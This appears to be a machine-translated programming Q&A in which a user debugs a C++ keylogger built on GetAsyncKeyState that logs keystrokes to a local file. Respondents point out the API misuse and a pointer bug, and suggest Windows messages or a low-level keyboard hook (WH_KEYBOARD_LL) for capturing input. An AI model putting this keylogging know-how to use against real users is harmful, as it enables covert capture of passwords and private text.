所以我决定今晚想写一个小键盘记录器,只是为了了解getAsyncKeyState。我正在尝试将我的日志写入文件,但文件的内容显示为空白或向我抛出一个随机存储器地址(之前为0x28fef0)。我听说getAsyncKeyState在Windows 7 x64上运行不正常,是真的吗?
这是非常恶化的,我希望今晚真的能够让这个运行起来。
while(1)
{
Sleep(20);
for(DWORD_PTR key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == HC_ACTION)
checkKey(key);
}
}
功能定义
void checkKey(DWORD_PTR key)
{
ofstream out;
out.open("log.txt");
if (key==8)
out << "[del]";
if (key==13)
out << "n";
if (key==32)
out << " ";
if (key==VK_CAPITAL)
out << "[CAPS]";
if (key==VK_TAB)
out << "[TAB]";
if (key==VK_SHIFT)
out << "[SHIFT]";
if (key==VK_CONTROL)
out << "[CTRL]";
if (key==VK_PAUSE)
out << "[PAUSE]";
if (key==VK_ESCAPE)
out << "[ESC]";
if (key==VK_END)
out << "[END]";
if (key==VK_HOME)
out << "[HOME]";
if (key==VK_LEFT)
out << "[LEFT]";
if (key==VK_UP)
out << "[UP]";
if (key==VK_RIGHT)
out << "[RIGHT]";
if (key==VK_DOWN)
out << "[DOWN]";
if (key==VK_SNAPSHOT)
out << "[PRINT]";
if (key==VK_NUMLOCK)
out << "[NUM LOCK]";
if (key==190 || key==110)
out << ".";
if (key >=96 && key <= 105)
{
key -= 48;
out << &key; // had ampersand
}
if (key >=48 && key <= 59)
out << &key; // amp'd
if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
out << &key; // amp;d
else
{
key = key +32;
out << &key; // amp'd
}
}
}
}
我对这个问题感到非常难过,非常感谢任何帮助。为什么这样的函数在64位系统上的工作方式不同?考虑到它是我唯一拥有的盒子,我无法在32位上运行它来检查它是否是一个孤立的问题。因为我假设它与getAsyncKeyState有关,而不是我的代码(编译并创建一个空白的日志文件),我只包括这两个代码片段。
答案 0 :(得分:1)
嗯,首先,如果您正在编写密钥记录器,则不希望使用GetAsyncKeyState; GetAsyncKeyState在您调用函数的瞬间获取密钥的状态。您需要监听Windows消息,例如WM_KEYDOWN,WM_KEYUP,或者取决于记录器WM_CHAR,WM_UNICHAR等的目的......
答案 1 :(得分:1)
您使用的功能不正确。在请求帮助之前阅读文档通常是个好主意......
我在这里引用MSDN:
如果函数成功,则返回值指定是否为键 自上次调用GetAsyncKeyState以来是否被按下,以及是否 密钥当前上升或下降。如果设置了最高位,则 key为down,如果设置了最低有效位,则键为 在上一次调用GetAsyncKeyState之后按下。但是,你 不应该依赖这最后的行为;有关更多信息,请参阅 备注
最后一部分也意味着它对于键盘记录器来说完全没用。
PS:考虑使用GetKeyNameText
将虚拟键码转换为有意义的名称。
答案 2 :(得分:1)
对于监视输入,可能需要使用键盘钩子(在MSDN上查找带有WH_KEYBOARD_LL的SetWindowsHookEx)。
如其他地方所述,您在这里没有正确使用GetAsyncKeyState。
至于为什么你会看到一个地址出现:
out << &key; // amp'd
这是代码中的几个地方:key是DWORD_PTR,因此&amp; key是一个指针 - 这可能是地址来自的地方。